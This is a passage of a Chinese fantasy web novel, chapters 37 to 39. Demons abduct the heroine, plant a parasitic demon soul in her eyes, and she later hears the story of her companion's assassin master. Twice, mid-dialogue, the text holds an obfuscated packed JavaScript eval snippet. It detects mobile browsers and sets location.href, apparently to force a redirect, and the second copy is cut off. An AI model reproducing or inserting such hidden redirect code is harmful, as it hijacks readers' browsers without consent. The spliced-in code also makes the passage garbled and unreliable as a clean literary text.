“我没胡说。”言隐被萧唤月握住了手腕,只得收敛怒气,俯身在她耳边小声道,“那是最好的办法了,损失一双眼睛而已。” “凡人没了眼睛长不出来的。” “哦。”想了想,凡人的确是很脆弱,言隐决定当撒手掌柜,不管这事了,反正他又不是真奔着降妖除魔来的,往深了说,他自己都是邪祟呢。 是夜,萧唤月被安排到西厢房休息,客观来说,这里比客栈的房间要好得多,但被子上还是有股萦绕不去的淡淡的腥臭味道,施了几遍去污除尘的法术也无济于事,已经腌入味儿了。 她安慰自己,行走江湖不应太注重这些细节,被子臭点怎么了,躺着舒服就行了。 翻了个身,她闭上眼睛准备入睡。 然而没过多久,她就败下阵来,睁开了眼睛,仰头朝上,放缓了呼吸频率,试图减少吸进鼻腔的空气。 只要她嗅觉健在,就不可能忽略掉那股味道,只好把被子往下推到腰部,遮住肚脐眼位置,勉强起个保暖作用。 又躺了半刻钟,困意才渐渐来袭,她真正沉入了梦乡,睡姿板板正正,双手交叠。 萧唤月不知道,此时她床边显现了十来道形状高低各异的身影,围成一圈,既不走动,也不发出声响,似乎只是在确认她睡着没有。 场景十分诡异,在没有光线的环境下,那些身影只能看见个大致轮廓,有的脑袋上长着角,有的长着四只手,有的长着尾巴,有的则是正常人型。 这样一群来历不明的妖,潜入了萧唤月的房间。 良久,为首那个人类模样的黑影道:“可以了,她已经失去意识,带她走。” 两只小妖应声而动,一个抬头一个抬脚,将萧唤月搬到了左侧书柜后方的角落里,掀开地板一角,底下是一条新挖成的地道。 这样的地道不止一条,整个凤泉镇地下的密道如蛛网般密布,都是它们的杰作。不过所有密道都是一次性的,事后小妖们会悄悄将洞口填上,免得叫人瞧出端倪。 一群小妖自觉排成长队,一个接一个走进了密道中,它们保持着极快的行进速度,一个时辰后,已经带着萧唤月出现在了离县令府几十里开外的山洞之中。 以前转移目标人物,从没有派出过这样大规模的队伍,顶多三四只妖去就够了。但这次不一样,它们知道修士和凡人不同,因此十分谨慎。 判断出萧唤月是那几个修士中道行最浅的之后,又观察了她许久,确保她一个人不足以威胁到它们,才于今夜正式展开行动。 小妖们千算万算没算到,刚把萧唤月放上石台,她就揉着眼睛坐了起来,满脸茫然的环顾四周,嘴里嘟囔着梦话,以为自己还没睡醒。 被一群奇形怪状的动物围着,她只觉得这个梦古怪离奇,待要再躺下去,却被老鼠精一声高亢的尖叫惊得一个哆嗦。 老鼠精说人话说得还不熟练,龇牙乱叫了几声,才指着萧唤月结巴道:“她、醒了!怎、办?” 按照本来的计划,该由它们的“头儿”施法,挑选一只小妖,剥去皮囊,再将其魂魄引入萧唤月的眼睛里。 以它们的手段,这也是极限了。经过之前的多次试验,它们知道眼睛是最好的寄生之处,换了其他部位,要么是人类的□□承受不住,要么是妖物的魂魄反被压制。 眼睛最合适,正好处于临界点,达到共存平衡。 刚被剥离出来的妖魂脆弱无比,需要一段时间的滋养才能重新“活跃”起来,在此期间它们就静静攀附盘亘在宿主体内,蚕食宿主的精气,待到时机成熟,便可彻底夺舍。 但凡人也不是它们的最终目标,他们有更崇高的理想,那是整个妖界约定俗成的东西——吞食修仙界,抢占这片土地上的更多资源。 本质上修士和凡人属于同一阵营,那种结盟关系是天然形成的,只因他们都是人类,对妖多有提防。但比起修士,凡人显然是更好捏的软柿子,所以妖们试图通过控制凡人,以此为跳板,入侵修仙界。 这项事业注定是长远而艰难的,妖族分散在不同的地域,各自展开行动,为了同一个目标而奋斗,最终将会慢慢啃食掉凡界资源,在每一片土地插上妖族的大旗——这是最理想的结果了,在没有内斗的情况下。 它们没有指望能一蹴而就,今夜仅仅是第一次,凤泉镇的小妖们尝试对修士下手,所有眼睛都盯着萧唤月,紧张而期待。 然而它们的期待打了折扣,萧唤月无畏的目光像是在它们脸上抽了一耳光。明明已经提前在被子里放了助眠的东西,她竟然没受太大的影响,提前醒来了! 事实上是萧唤月刚睡醒还没有反应过来,待到意识回笼,发觉自己进了妖窝,却也只能强装镇定,生怕自己一露破绽,这群妖怪就一哄而上。 为首的是只狐妖,化形化得最好。但此时它气得耳朵都冒了出来,没再维持住人形。 它瞪向地上那战战兢兢的□□精:“你到底有没有在办事?催眠的东西你给她用上了没有?” “用上了,用上了!”□□精惊慌失措地解释,“用了很多!” 它释放出的毒素可以轻易放倒一只猛虎,与其说是催眠,不如说是毒晕了比较贴切。正因如此,这活儿才落在了它身上。 “这么点小事都办不好。”狐狸冷哼,“滚吧,我不要你做事了。” “不,不,求您让我留在这儿,给我个机会......” “快点滚!” 在一群妖的怒骂呵斥声中,□□精讨好的话术并不起效,它已经被排挤出这个小团体之外,同伴们不再接纳它了。 最终□□精灰溜溜离开了山洞。 萧唤月静静看着这场闹剧,虽然她此时约等于案板上的肉,但也不由得感慨,这群妖简直是教科书级别的乌合之众,凝聚力差不多为零吧,简直像小孩子过家家。 但它们的破坏力又是惊人的,无疑那些中邪的人都是被它们所害,具体过程暂时还不清楚。 “还有没有会用毒的?”狐狸叉腰环顾,“能毒死人的不要,毒晕就行了。” 蜘蛛精自告奋勇:“我!” 狐狸:“对了,你还会吐丝是不是。” “会!” “那就用你的蜘蛛丝把她捆得结结实实,再毒晕她,快点。” 当着萧唤月的面,它们已经商讨好了作战计划,似乎料定了她双拳难敌众手,援兵远在数里之外,没人能来帮她。 强韧的蛛丝裹着毒雾袭来,萧唤月闪身一躲,蛛丝落了个空。 之前□□精给她下的“催眠药”还是管用的,现在她身子发软,有点提不起劲儿。玄铁剑落在了房间里,腰间系着的乾坤袋也早已被小妖们扯掉,手头没有传音符,一时联系不上伙伴。 还真是孤掌难鸣了。 幸好这些小妖修为也没多高的样子,否则哪犯得着这么大阵仗,又是提前侦查又是组队潜伏,就为了抓一个她。 “大胆,你们知道我是谁吗,敢动我你们就完了!”萧唤月趾高气昂地往石台上一站,柳眉倒竖,色厉内荏地俯视众妖。 蜘蛛精一时被她这副模样唬住,停止了攻击的势头,面带询问地看向狐狸。 “愣着干什么。”狐狸瞪蜘蛛精,“你管她说什么呢,上毒啊!” 蜘蛛精:“哦哦。” 蛛丝再度射出,萧唤月跳来跳去,咬着牙躲避攻击。她现在不能很好地控制自己的身体,好几次都与蛛丝险之又险地擦肩而过。 “动了我,我的同伴一定不会放过你们。”萧唤月威胁它们,“我若是没醒也就罢了,现在我看清且记住了你们每一只妖的脸,如果我没死,就一定会指认出你们。” 这些妖怪把她毒晕之后,肯定会施法把她变得跟那些“中邪”的镇民一样。萧唤月想到之前言隐说唯一的解法就是挖眼睛,不禁一阵悚然。 狐狸阴森森地盯着她,这话没错,它开始犹豫了,要放弃原先的计划,杀萧唤月灭口吗? 可萧唤月立马又道:“如果你们灭口,丘山属于我的那盏魂灯便会熄灭,届时丘山会派出更多的修士下山降妖,将凤泉镇翻个底朝天,追你们到天涯海角,直到把你们连根斩除。” 狐狸冷笑:“你们修士杀过不少妖,可我们也没有追杀过谁。你难道就有那么重要,值得那么多人为你出动?” “你们有你们的选择,我们有我们的。为同伴报仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14618542|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天经地义,我死了,他们当然会为我出动,而你们只是抱团谋取利益,称不上是同伴。” “说的什么屁话,我们怎么就不是同伴?我们聚在这里都是为了共同的......”狐狸卡壳,这个谋划还是不要同她说了。“反正人类道貌岸然,话尽不可信,我今天就要弄死你,试看他们究竟会不会为你报仇!” 萧唤月:“来啊,试试就逝世。” “你去,把她除掉。”狐狸指使蜘蛛精。 “老大,可是......我觉得她说得有一点点道理。” “你听她的还是听我的。” “听你的!” “那就去。” “可是......万一其他人寻仇来了怎么办。” 而且,到时修士们抽丝剥茧地探察起来,它们的计划岂不是要暴露了? “笨蛋!”狐狸骂道,“放她回去,难道她就不找人来报复我们了?” 蜘蛛恍然大悟:“还是老大聪明!” 不再犹豫,它继续攻击萧唤月,还有几个小妖在旁辅助,很快,萧唤月力有不足,被蛛丝绊了一脚。抓住这破绽,更多的蛛丝裹上来,捆住了她。 “放我走的话,我不会报复你们,如果你们信不过我,可以把我在山洞内的记忆删除。” “记忆删除?”狐狸嗤道,“这里没有妖会那种东西,小姑娘,你高看我们了。杀人剖心才是我们的强项,落在我们手里,你连全尸都不会有。” 深知反派死于话多的道理,萧唤月在竭尽所能地拖延时间。狐狸嘴上说得吓人,但到底没有立刻了结了她,想必心里也是有犹豫的。 她蛄蛹蛄蛹滚上石台,躺得板板正正。 “好吧我骗你们的,其实我一点都不重要,丘山不会为我报仇。你们大可不必担心被赶尽杀绝,就按照你们原先的计划,把我毒晕吧。”萧唤月能屈能伸,气势全无,“大哥大姐别杀我,我什么都配合!” 一双眼睛和一条命,显然后者更重要。 明明能感觉到这小姑娘嘴里不实诚,真真假假的话套着说,可狐狸就是会被她的话牵着鼻子走,三番两次动摇自己的决策。 本来它就不大相信,丘山会派出大量人手为一个修为并不那么顶尖的小姑娘报仇,此刻竟然觉得萧唤月的说法有几分可信度,要不别灭口了? 好不容易逮到一个修士,直接杀了,多浪费呀。 “毒晕她。”最终,狐狸对蜘蛛精道,“谨慎点,防止她耍花招。” “好!” “这次你表现的不错,比□□靠谱。” 蜘蛛精忍不住得意:“□□确实太弱。” 狐狸撇它一眼:“你有功劳,这丫头的眼睛就让给你吧。你也好替姐妹们,打个头阵。” 兜兜转转,还是回到原点。萧唤月听到它们的对话,知道之前言隐的猜测多半是正确的,这些妖精会附在人们的眼睛里,大概是类似寄生的状态。 只是不知道,它们大费周章这样做的目的究竟是什么,是想让寄生体吞噬宿主吗?也许这个过程需要时间,所以那些中邪的镇民才暂时表现得像是没事的样子。 来不及再思考更多了,蜘蛛毒素注入了萧唤月的手腕,她感知到一阵酥麻的痛意,随后视线开始模糊。 看来拖延时间并没有什么用,她只是在赌,如果言隐察觉到她消失在了房间里,以他的能力,应该在很短的时间内就可以赶过来。 然而这种概率还是太小了,她运气并没有那么好,言隐住在东厢房,一时没能发现她这边的异样。 失去意识前的最后一刻,她心想,以后睡觉一定要抱着剑,对于“被子有腥臭味儿”的这种细节也不能忽略......说起来那只可恶的□□才是这个妖怪组织最大的功臣,狐狸竟然赶走它。 再次醒来的时候,萧唤月身在一片陌生的树林里,似乎妖怪们并不想让她这么快与团队汇合。 虽说她记住了妖怪们的模样,可并不知道它们的老巢在哪,就连之前的那个山洞的方位都没摸清楚。况且,如果它们机灵点,应该已经转移阵地了吧?那样的话,想找到它们更是如同大海捞针了。 糟糕的情况,她孤零零躺在这里,身下的泥土又脏又湿。 自筑基之后口腹之欲就减淡了很多,现在竟然嘴里发涩,胃里空空荡荡,迫不及待想吃点什么。 萧唤月知道被妖怪寄生的症状之一就是喜食生肉。 吞了吞口水,她望向树梢上站着的一只鸟儿。生理上很渴望将它吞吃入肚,心理上却排斥这一点。 手指一弹,真气击中树枝,鸟儿被惊飞,扑棱着翅膀飞向天空。她看着它远去的小小身影,闭了闭眼睛,不吃,绝对不吃!生肉有寄生虫的! 佩剑不在身边,萧唤月只能用轻功赶路。可刚走出几十丈,就心口钝痛,体内灵力激荡,只得停下来调息。 体内余毒未清,她的身体比在山洞时候还要迟钝。□□毒加蜘蛛毒,毒上加毒,世上哪有这样倒霉的事。 不知要多久才能代谢掉体内的毒素,这毒本就烈性,两种加在一起,指不定还会产生某种不良反应,唉,她成毒罐子了,不会伴有终生后遗症吧? 现在连步子也迈不稳了,她思考一番,找了棵枝杈粗壮的树,手脚并用爬到树上,准备打坐运功一夜,身在高处,至少能避免一些野兽的袭击。 38. 第 38 章 真气在经脉中游走乱撞,让萧唤月出了一身冷汗。前半夜无论如何也静不下心,后半夜才渐入佳境,如同在一堆凌乱的线团中寻找线头那般,缓缓引导运转体内气息。 然而几个时辰过去,萧唤月忽然丹田发热,只觉得方才平息下来的真气再度躁动起来,控制不住地在体内流窜,一股股强劲的灵力冲刷着经脉,好似有什么东西要喷薄而出。 山雨欲来,天空轰隆一声,炸了个响雷,闪电映照下她面色惨白眉头紧皱,运功到了要紧关头,半点不敢分神,否则后果难断,重则便是走火入魔的下场。 树枝上攀绕的毒蛇向萧唤月靠近,尚未近身,就被她外溢的灵力所灼伤,蛇身一缩,摔下树去。 天上惊雷一声响过一声,萧唤月忽感不妙,这种熟悉的感觉她经历过,功力忽而暴涨忽而回退,像是涨潮时晃动的波浪在冲击堤坝。 衣袖翻飞,发丝飘舞,周身银光乍现,这是被雷电锁定的信号。 雷声又响,萧唤月猛地睁开眼,仰头与天对视。 是境界将破,金丹二重劫至! 说不好是体内叠加的毒素起到了催化作用,还是她厚积薄发终于到达了某个临界点,但总归算是因祸得福,在这里渡劫,比在镇上要好多了,她可不想被人围观。 筑基升金丹的时候她已经挨过十几道劈了,现在只是金丹一重到二重的境界升阶,阵势比不上当初那会儿,充其量也就......劈个一两道意思意思? 雷电挟裹着雨水降下,落点精准,把萧唤月劈得嗷一声滚下树,头发都竖起来,眼冒金星。 她被电了个透心凉,但没忘了在下一道雷劈下来之前调整好姿势,运气屏息,在周围做出屏障,抵御攻势。 幸好幸好,这雷劫威力不是太大,她判断,自己可以挺过去。 半刻钟内又挨了两道雷,头上的积雨云才渐渐散去,清晨的第一缕阳光打在她脸上,发丝都被汗水浸湿,狼狈极了。 闪电脉络般的雷击痕遍布身体,从脸颊到手腕,都被雷电打下烙印。猩红的纹路,灰白的眼珠,她的脸埋在树影之间,莫名显得妖异。 萧唤月一点力气也没有了,静静保持着这个仰面躺倒的姿势,抬起手腕,看到那些雷击留下的纹路,叹了口气。 愈合是能愈合,但需要时间,不用太久,两三天就够。 现在这副模样回到镇上,会不会吓到别人?干脆等这身伤恢复好了再回去吧。 眼睛......眼睛恢复不了,这事还得想办法。 浑身上下散架一般疼痛,她闭上眼睛,疲惫感伴随着困意袭来,差点就这么一头睡过去。 突然身子一轻,有人把她抱了起来。 她吓得立刻清醒了,手臂撑着那人胸膛隔开距离,睁开眼睛,看清了那人的脸,才又放松下来: “你......怎么过来的?” 言隐一边走一边道:“你房间里没有人,我转了一圈,看到书柜后面有条没堵严实的地道,才意识到你可能被抓走了。我和路承蕊他们,分头出来找你。” “我身上没有传音符,联系不上你们。” “我知道。” 现在萧唤月心情颇为复杂,想跟他吐槽自己遇到的倒霉事,又想赶紧筹划行动抓住那些妖怪。但贪多嚼不烂,既然已经与言隐汇合,这些事都可以慢慢商量,一起想法子。 身边有同伴在,终究是安心不少。 她老老实实窝在言隐臂弯里,没有逞强说要自己走路。那样只会拉慢行进速度,还不如安心享受一把伤患员专属代步服务,反正对言隐来说抱个她又不费力。 萧唤月转换情绪,试图整理思路:“我有事情要告诉你们,师兄师姐现在在哪里?” “往西去了。”言隐道,“方才我感知到这边有雷劫降临,就想过来看看情况,居然是你,特意跑出来渡劫的么?” “不是。”她指指自己的眼睛,想让语气尽可能轻松点儿,“你看,我也中邪了。” 顿了一下,言隐托着她腿弯的手紧了紧:“没关系,回去再说。” “哦。”萧唤月闷闷的,“我乾坤袋也被抢了。” “里面有什么?” “一些盘缠,还有符纸,别的想不起来了,应该不重要。”更多的家当财物藏在储物戒里,倒是损失不大。 “符纸和盘缠我都有多的,待会儿给你。” 萧唤月点了点头:“多谢。” 接着言隐用传音符联络到了路承蕊和昭意,约定好在镇外岔路口汇合。 做完这些后,言隐停下脚步,一手托着萧唤月,一手摸出符纸和银票,塞进她袖袋里:“够用很久,放心。” “太多了吧。”她想拿出来数一数,“感觉一半就够。” “我又用不着那些符纸,放我这里浪费。” “......好吧。” 穿梭在树林之间,两边的景物正在急速后退,光与影不断交织闪回。按照这个速度,再过不久就能和师兄师姐汇合了。 萧唤月:“突然想到一件事。” “什么?” “现在有妖怪藏在我眼睛里,我们说的话做的事,它岂不是一清二楚?说不定它还能暗戳戳影响我的神志,控制我的行为什么的。” “它就算知道又如何,这个状态,也没法给他的妖怪同伴们报信吧。” “说不定他们有什么特殊的联系手段,唉,主要是......这种被监控的感觉真的很令人不爽啊。” 言隐不说话了,此刻他竟然不合时宜地感受到了一丝心虚,回想起自己以前的行为,有监视过萧唤月吗?有吗?没有吧? 并没有察觉到言隐话语间的异常停顿,萧唤月自顾自的叹了口气。 “剑也落在房间里。”说不清是在抱怨还是在委屈,萧唤月低低道,“真是笨死。” “啊?”言隐懵懵的,“骂我干什么。” “......我说的我自己。” “你?”他好似在疑惑,“你也不笨,别骂自己,不然小心以后真的变笨,大脑是需要哄的。” 不知道他这套理论是哪里来的,但萧唤月很诡异地信了一半。 系统:【检测到攻略对象好感值波动,现好感度数值:53】 “怎么忽然不动了。”萧唤月仰头看他,“不是要赶去镇外跟他们汇合么,得抓紧时间了。” “哦......哦。” 真让人捉摸不透啊,好感度这种东西。 言隐定了定神,继续往目的地前进。 在岔路口,丘山小队再度集合。 见到遍体鳞伤的萧唤月,路承蕊先是愣了一瞬,随即明白过来,这是雷劫过后留下的纹路。 可那双眼睛的变化却与雷劫无关,显然是妖物所为。往日里水光潋滟的眸子失了生气,灰扑扑的,像蒙尘的珠子。 路承蕊拔剑怒道:“谁干的,敢在我们眼皮子底下把小师妹掳走,我要扒了他的皮!” 昭意:“扒皮吗?还是一击毙命比较好,杀生不虐杀......啊,不过小师妹的确是无妄之灾,此仇不报......” 路承蕊正在气头上,翻了个白眼:“滚。” 言隐:“我赞成师姐的做法。” 萧唤月将事情经过细细讲了一遍,说到自己手无寸铁被妖类围攻之时,昭意忽道:“还是扒皮吧。” 可怜的小师妹一定吓坏了,路承蕊和昭意心中都有不同程度的愧疚之意,说好要保护后辈,结果保护了个寂寞,昨晚上他们睡得香甜,师妹又是中毒又是挨雷劈的,怎一个惨字了得。 “好在保住了一条小命。”萧唤月分析,“其实这一切本该神不知鬼不觉地完成,唯一漏洞是我在中途醒过来了。” 或许是因为麻醉师□□精没有把握好毒素的份量。 言隐:“好险你没被灭口。” “是啊。” 言隐摩拳擦掌:“现在轮到我们去斩草除根了,找到它们的老巢,一窝端。” “我估计它们已经跑路了......”萧唤月猜测,“它们之所以放我回来,似乎是觉得,杀掉我是一件很可惜的事情,于是最后还是选择按照原计划,在我眼睛里放了点东西。” 有种被外星人抓去做人体改造的既视感,萧唤月抚上自己的眼眶,视物清晰,并无不适。 在她看来,妖宁愿舍弃百年修来的皮囊也要钻进眼睛里成为这种寄生体一样的存在,总不可能待在里面什么都不做吧?也许就像狂犬病潜伏期那样,它在等待一个发作的时机。 这一点其他人也想到了,路承蕊面上的担忧重了几分,手上捏诀,催动灵力,想要试着将妖物从萧唤月的眼睛里分离出来,师妹才刚中招不久,或许有的救。 路承蕊指尖细细的光线如同游走的小蛇,钻进萧唤月太阳穴的位置,在两人之间做了一道短暂的联接。 像在做最精细的针线活那样,路承蕊小心翼翼控制着灵力,既要分离出妖物,又不能伤到萧唤月。 这不是件容易的事,即使路承蕊动作已经很轻缓,可一旦试图拔除妖魂,勾着那缕魂轻轻一扯,萧唤月就痛得想打滚,好似有个钻头在眼眶里捣来捣去,妖感受到的痛,她也能感受到。 半晌,路承蕊大汗淋漓地收回灵力,遗憾地选择了放弃: “不行,做不到。”她言简意赅道,“融为一体了。” 那群妖的法子阴毒但管用,几乎是自杀式地丢弃了皮囊,紧紧黏住宿主不放,堪称妖界敢死队。这么做对它们风险也很大,一旦失败就是魂飞魄散。 “说融为一体可能也不太准确。”路承蕊对萧唤月道,“应该说,现在它就是你的眼睛。” 萧唤月:“......”那种事情不要啊! 一番讨论过后,大家一致认为,当务之急是赶紧抓住罪魁祸首,以免更多人受害。这任务落在了昭意和路承蕊身上,言隐则负责留在镇子里照顾萧唤月。 师兄师姐都是雷厉风行的人,做好计划后立刻便开始执行,决定从地下被挖通的那些密道着手勘察,追寻妖族行踪。 “是回县令府吗?”言隐问。 “回吧,得跟县令商量,把那些地道都填上。” 言隐点了点头,将披风解下,裹住萧唤月:“保暖,遮痕。” 这话听起来像是在打广告,不过萧唤月察觉到他现在心情不怎么好,没跟他耍宝,只道了声谢,自觉把披风系带打了个结,防止有风灌进来。 这时候不急着赶路,萧唤月决定自己走回去,活动活动筋骨。 言隐走在她身后半步的位置,与她保持着相同的行进速度,一路低着头,不知在想些什么。 萧唤月停下来,他依然往前走,直愣愣撞上了她,才反应过来:“抱歉。” “走神走得这么厉害。”萧唤月观察他,“在想事情么,你的表情看起来有点严肃。” “想起了以前的一些事。” “我可以听吗?” “......可以。” “跟今天发生的事有关?” “算是吧。”言隐看向她,“之前他们在场,我不太好说。” 到底活了这么多年,见识要广一些,类似的案例他曾经见过。 “我觉得,从眼睛开始,那只妖会逐渐取代你,最后成为你。” “......我也有这种猜测。”但被言隐这么明晃晃说出来,还是让她感到有点心慌。 妖试图夺舍人类,有的是想走捷径修仙,有的是因为爱上某个人,所以想变成跟他一样的东西。缘由五花八门,各自的结局也不尽相同。 有的妖装人装了一辈子,弃修行于不顾,骗到最后连自己也骗进去,觉得自己真的是人类。而有的妖野心勃勃,装人没装多久就露出马脚,回归妖怪老本行。 “我活着的时候,拜过一个师父,这事你应该知道。” 言隐终于开始诉说他的往事,萧唤月竖起耳朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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言隐一度认为这便宜师父脑子有问题,要不就是英雄主义作祟,陷入了惩奸除恶的怪圈,管他杀什么人呢,到手的钱都是一样的。 而且怎么才能判断对方是好人还是恶人?那种东西很主观嘛。 盈缺试图掰正徒弟的三观,然而争论半晌,谁也没说服谁。 师徒俩颇有分歧,各有各的想法,但在行动上言隐还算听话,没做过什么出格的事,只逞口舌之利,盈缺便随他去了。 本来老老实实杀人也挺好,以盈缺的本事足以护自己和徒弟一生周全,偏偏他又好管闲事,总惹得一身骚。 言隐:“有次结束任务后,他带着我路过一个村庄,竟发觉里面一个活人也没有,只有一群披着人皮的妖怪,伪装成村民,玩家家酒似的,还邀请我们进门做客。” 想到那画面,萧唤月嘶了一声,不禁感到荒诞——全村都死在妖怪的手里,皮囊被夺走,连社会关系也被复刻,在妖怪视角里,却是在玩过家家。 “他把那些妖怪都杀了,这是他这辈子管过最大的一件闲事。” 百来个人......不,百来只妖,都死在盈缺手下。从天亮砍到天黑,整座村庄都快成了血窟,将天空一角映得发红,泥土也被血浇灌成了深赤色,路边随处可见残缺的尸体。 师徒俩一身白衣来,一身红衣去。 事毕,盈缺想起来要让这些村民的遗体入土为安,于是又唤言隐回来帮忙挖坑埋人。这活儿比杀人还累,言隐不高兴,抡着铁锹冷脸挖泥巴。 这时,几个外出务农的青年人回来了,他们走过一户又一户人家,地面上已经凝固了的血液和灰败的尸体都在告诉他们,这里发生了一场屠杀。 受害者包括他们的妻儿父母。 “事情很荒谬,整个村里还能喘气儿的几乎就剩我和我师父了,那几个人以为我们是凶手,各自拿着菜刀斧头棍棒一齐砍过来,想要偷袭。”言隐的声音变得有些飘忽,“我师父下意识反击,他们自然不是对手,被剑风擦到都非死即残。” 盈缺杀红了眼,下手太重,待发现这些人都是货真价实的普通村民之后,已没有挽救的余地。他颤抖着手替他们合上眼睛,这一刻起他也成了曾经自己口中的“大奸大恶”之人。 他杀死了无辜的人,而且不止一个。 言隐倚着铁锹在一旁傻眼:得,又要多挖几个坟包。 有点想不起之后发生的事情了,师徒俩走出了那个村庄,那一天晚上似乎是平静的,他们睡在月光照耀下的草地上。 后来言隐才知道,盈缺再也走不出那个小村庄了。在往后很长的一段时间里,他看似平常地吃饭,睡觉,杀人,按部就班地生活着。 在言隐都快把那件事情忘记的时候,他才说:“徒儿,我要走了。” “哪里去,又接任务了?” “去壶音村。” “哪?” “就是上次......我杀了很多人的那个地方。” 言隐反应过来:“那里啊。” “嗯。” “去给他们烧纸吗。” “不是,我去死。” “什么?” “我去那里死。” “谁要杀你?” “我自己。” 言隐听懂了,他这是要自杀。但说这些话的时候盈缺很平静,甚至手上的动作还没停,正在往挂绳上晾衣服。 被洗的发白的衣袍迎风飘荡,以后没有再穿的机会了,只能当裹尸布用。 言隐把师徒之礼抛之脑后,骂他:“你有病吧。” 没有计较徒儿的僭越,盈缺继续道:“我已将毕生所学传授给你,你很强,可以出师了。” “呵。” “你是个好孩子,就算我不在了,也要懂得自我约束。” “呵。” “我收养的其他孩子......没有自保之力,希望你能照拂一二。” 盈缺这副托孤的样子看得言隐心头火起:“你没事吧。” 盈缺摇了摇头:“我没事。” 片刻后,言隐冷笑一声:“我不会照拂他们的,也不会自我约束。我以后想杀谁就杀谁,做尽天下坏事,谁也管不着我。” “你不会的。” 这就是他们之间说的最后一句话了,这次盈缺没有麻烦言隐挖坑,因为他自己已经提前挖好了。去往那个村子的路上,他脚步轻快,像是去奔赴一场约会。 39. 第 39 章 “他倒是快活了,给我留下一堆烂摊子。”言隐跟萧唤月抱怨,“居然让我做个好人,还要我照顾那些孩子。” 最后他看着那些孩子长大成人,各奔东西,不知道谁才是孤儿了。 “我师父的事迹还很多呢,以后有空慢慢跟你讲。” 萧唤月听得很认真,不得不说言隐讲故事有一手,搞得她身临其境似的,听完还有点郁闷。 “那个村子的人真惨,你师父也惨。”都说不清是谁的错了。 “为了那种事情去死,我不懂他。” “那,后来,你又是怎么死的?” “......”沉默了几秒,言隐移开目光,还是老实回答道,“我活腻了。” 萧唤月:......我也不太懂你。 她问:“那个村子现在还在吗?” “只剩残垣断壁了。”言隐轻飘飘地说。 本来觉得那些事情没什么好讲,但萧唤月实在是个很好的听众,不会去批判什么,也不会露出太夸张的反应......她接受能力一直不错的。 以前他只告诉她,自己做过修士,但没有告诉她自己还兼职杀手。现在萧唤月知道了,也只表现出一副“原来如此”的样子,关注点跑到他意想不到的地方:“你师父口中的‘大奸大恶’之人,很多吗?” 言隐:“记不清了,反正一直有活干,任务源源不断。有时候我和他一起行动,有时候各杀各的。” “都是穿越来的。”她吸气,“你的生活怎么就那么......跌宕起伏?从来没有做过普通的工作吗。” 穿越前是富二代,穿越后是杀手,现在是鬼王,这是什么奇妙人生。 “乞丐不算么。” “唔,应该勉强算?不过很快你就跳槽了。” “你也不赖啊,差点混成宗门大小姐了。” “差点,那不也是没混上吗。”萧唤月嘿嘿一笑,“如果咱俩是一起穿越过来,说不定还能做个搭子。” “做搭子一起杀人么。” “嗯......这个还是算了,我觉得在杀人这方面我不是很有天赋,挺考验心理素质的吧。” “那一起乞讨?” “想点儿好的行吗,为什么不能一起过好日子,如果我爹娘在门口捡到你,肯定会把你带回来一起养。” 他心里一动:“听起来不错。” 感觉萧唤月在萧家有过一段很幸福的日子,如果他在......不对,没事给自己认个爹娘干嘛,他现在就过得挺好! “算了算了。”他摆摆手,“事情都已经发生,没有如果了。我们要把目光放在当下,先送你回府再说。” 萧唤月只好跟上,其实她还挺想听点别的呢,不是说他师父的事迹还有很多吗。 可惜现在还有事要做,不是聊天的好时候。 她暗叹一口气。 回到县令府上后,他们向县令说了地底密道的事,县令大惊,马上就带着人要去填洞。 其实那些密道都有被填补过的痕迹,每当妖怪们掳走镇民做完“人体改造”,再把人送回来之后就会把洞补上。 只有萧唤月被丢在树林里,西厢房底下那条道没派上返程用场。小妖们怕修士们前来追查,急着转移阵地,快工出糙活,洞口修补得不是很好,也正因如此才让言隐看出了破绽。 不过那群小妖,做事有头没尾,就算填了洞口,密道中段也是空心的。 县令不放心,势必要把隐患排除个干净,想着有修士们的帮忙,做这事能容易很多,奈何路承蕊和昭意现在正忙着捕妖,萧唤月又状态不佳,只有一个言隐可用。 而且他还拒绝了:“许县令,其实我有事要去办的,你自己带人去补洞。” 许县令谄媚地笑:“仙长还有什么事没了?” “当然是去帮我师兄师姐,事情分轻重缓急呢,捉妖事重,填洞事轻。” 听起来似乎是这个道理,而且妖物们都逃之夭夭了,填洞过程中应该不会再出现什么危险,县令思考一番,只好自己带着人去了。 萧唤月本以为“帮忙捉妖”是言隐不想跟着去填洞而找的借口,没想到他真准备出门。 “你真去啊?”她问言隐。 “当然了,必须报仇!”言隐声音拔高了好几个度,“敢把主意打到咱们头上,就要做好相应的觉悟!路承蕊和昭意,我对他俩不放心......还是亲自去看看吧。” 萧唤月欣慰道:“没想到你还挂念着师兄师姐的安危。” “什么话,我是担心他们找不着妖怪,空手而归。” “......” “对了,你要是遇到状况,记得传音符联系我。” “唔,好。” 经过这次事件,萧唤月深刻理解了鸡蛋不能放在一个篮子里的道理,无需言隐提醒,她已在身上各个地方都藏了传音符,甚至储物戒里也放上了。 “其实我可以......”她忽然想到她也能跟着去,身上好像已经不痛了。 言隐看出她的蠢蠢欲动,晃了晃手指表示不允:“别,刚受了雷劫你就休息吧。” 萧唤月:“我岂不是没派上用场。” “怎么会,重要线索是你提供的。”言隐切了一声,“他们还让我在府里照顾你呢,但我觉得你自己待着应该可以?我走了,勿念。” “好吧。”也不纠结了,她朝他挥挥手。 言隐看了看她,欲言又止,转身离开,最终又没忍住,回头补充道:“......我很快回来。” “知道了,去吧。”她笑,“去晚了可赶不上趟。” * 等待的过程中,萧唤月百无聊赖,坐在窗前看风景。 想起自己眼睛里还有只妖怪,她突然觉得没跟着言隐去捉妖是十分正确的做法,万一眼睛里的这玩意儿能通过什么特殊手段通风报信,那可就不好了。 余光瞥到一抹疾驰而来的黑色,萧唤月迅速起身后仰,几乎是同时,一双钢刀似的长爪刮破空气,险险与她擦身而过。 